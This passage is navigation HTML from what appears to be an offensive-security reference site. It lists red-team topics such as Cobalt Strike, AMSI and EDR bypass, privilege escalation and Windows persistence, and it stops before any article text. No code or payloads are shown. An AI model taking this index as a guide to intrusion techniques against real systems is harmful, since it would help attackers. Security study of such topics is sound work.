Azure AD - AD Connect and Cloud Sync
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
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|
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|
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|
||
|
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|
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|
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|
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|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-devices-users-sp/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - IAM
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
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|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - Enumerate
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-phishing/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure AD - Phishing
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-requirements/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure - Requirements
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-application-endpoint/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Application Endpoint
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-application-proxy/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Application Proxy
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-container-registry/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Container Registry
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-deployment-template/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Deployment Template
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-devops/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Azure DevOps
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-keyvault/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - KeyVault
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-microsoft-intune/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Microsoft Intune
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-office-365/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Office 365
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-runbook/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Runbook and Automation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-storage-blob/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Storage Blob
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-virtual-machine/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Virtual Machine
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-web-apps/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - Web Apps
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/azure/azure-services-web-domains/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure Services - DNS Suffix
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4_3" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_4_3" id="__nav_4_3_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Ibm
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_4_3_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4_3">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Ibm
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/ibm/ibm-cloud-databases/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
IBM Cloud Managed Database Services
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../cloud/ibm/ibm-cloud-object-storage/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
IBM Cloud Object Storage
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Command control
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_5">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Command control
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../command-control/cobalt-strike-beacons/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cobalt Strike - Beacons
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../command-control/cobalt-strike-kits/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cobalt Strike - Kits
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../command-control/cobalt-strike/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cobalt Strike
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../command-control/metasploit/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Metasploit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Containers
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_6">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Containers
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../containers/docker/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Docker
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../containers/kubernetes/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kubernetes
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Databases
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_7">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Databases
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../databases/mssql-audit-checks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL - Audit Checks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../databases/mssql-command-execution/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL - Command Execution
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../databases/mssql-credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL - Credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../databases/mssql-enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL - Database Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../databases/mssql-linked-database/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL - Linked Database
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Devops
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_8">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Devops
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../devops/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CI/CD attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../devops/azure-devops/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Azure DevOps
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../devops/buildkite/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
BuildKite
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../devops/circle-ci/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CircleCI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../devops/drone-ci/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Drone CI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../devops/github-actions/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
GitHub Actions
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Methodology
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_9">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Methodology
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../methodology/android-applications/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Android Application
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../methodology/bug-hunting-methodology/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bug Hunting Methodology
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../methodology/source-code-analysis/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Source Code Analysis
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../../methodology/vulnerability-reports/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Vulnerability Reports
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" checked>
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Redteam
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="true">
|
||
<label class="md-nav__title" for="__nav_10">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Redteam
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10_1" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10_1" id="__nav_10_1_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Access
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_10_1_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10_1">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Access
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../access/html-smuggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTML Smuggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../access/initial-access/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Initial Access
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../access/office-attacks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Office - Attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../access/phishing/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Phishing
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../access/web-attack-surface/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Web Attack Surface
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../access/windows-download-execute/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Download and execute methods
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../access/windows-using-credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Using credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10_2" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10_2" id="__nav_10_2_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Escalation
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_10_2_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10_2">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Escalation
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../escalation/linux-privilege-escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../escalation/windows-privilege-escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10_3" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10_3" id="__nav_10_3_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Evasion
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_10_3_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10_3">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Evasion
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../evasion/edr-bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Endpoint Detection and Response
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../evasion/elastic-edr/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Elastic EDR
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../evasion/linux-evasion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Evasion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../evasion/windows-amsi-bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - AMSI Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../evasion/windows-defenses/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Defenses
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../evasion/windows-dpapi/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - DPAPI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10_4" checked>
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10_4" id="__nav_10_4_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Persistence
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_10_4_label" aria-expanded="true">
|
||
<label class="md-nav__title" for="__nav_10_4">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Persistence
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../linux-persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../rdp-persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
RDP - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--active">
|
||
|
||
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__link md-nav__link--active" for="__toc">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Persistence
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<a href="./" class="md-nav__link md-nav__link--active">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#tools" class="md-nav__link">
|
||
